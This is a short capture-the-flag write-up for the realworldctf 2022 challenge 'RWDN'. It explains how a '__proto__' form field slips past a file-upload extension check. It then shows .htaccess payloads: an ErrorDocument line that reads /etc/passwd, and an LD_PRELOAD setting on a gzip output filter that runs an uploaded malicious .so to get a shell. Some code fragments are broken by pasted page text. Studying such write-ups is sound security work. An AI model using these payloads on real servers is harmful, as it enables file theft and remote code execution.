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realworldctf 2022 - RWDN

Don't you think it is a baby challenge?

Bypass the extension check

        var filename = req.files[key].name.toLowerCase();
        var position = filename.lastIndexOf('.');
        if (position == -1) {
          return next();
        var ext = filename.substr(position);
        var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
        if ( !allowexts.includes(ext) ){
          res.status(400).send('Something error.');

Object.keys would not list __proto__ attributes, so if you upload a file with __proto__ name field, it could not be checked by this code. In

const buildFields = (instance, field, value) => {
  // Do nothing if value is not set.
  if (value === null || value === undefined) return instance;
  instance = instance || {};
  // Non-array fields
  if (!instance[field]) {
    instance[field] = value;
    return instance;
  // Array fields  
  if (instance[field] instanceof Array) {
  } else {
    instance[field] = [instance[field], value];Roman Burunkov, 3 years ago:  Forgot to add buildFields code
  return instance;

__proto__ is an attribute of instance, so finally, it would execute instance[field] = [instance[field], value];, which make req.files to be an array, you could access the file object by array index. So this payload works and it won't crash the server, it is intended solution.

# from Sauercloud-pspaul'upload?formid=1', files={
  '__proto__': ('', content),
  'decoy': ('decoy', 'lel'),

It is because I wrote wrong codes, this challenge seems easier than intended, you could upload multiple files to bypass the check directly.

capabilities of .htaccess

  1. read arbitrary files

upload a .htaccess like this

ErrorDocument 404 %{file:/etc/passwd}

Then visit a non-exist path base on the directory, you could get the file contents of /etc/passwd directly.

  1. get remote code execution

When you try to read /etc/apache2/apache.conf, you will get this line ExtFilterDefine gzip mode=output cmd=/bin/gzip. It could compress the response contents and could be actived by .htaccess file. Then you could pass environment vars to /bin/gzip command by setEnv.

SetOutputFilter gzip
setEnv LD_PRELOAD /xxxxxx/

Upload your evil .so files and enjoy your shell :)

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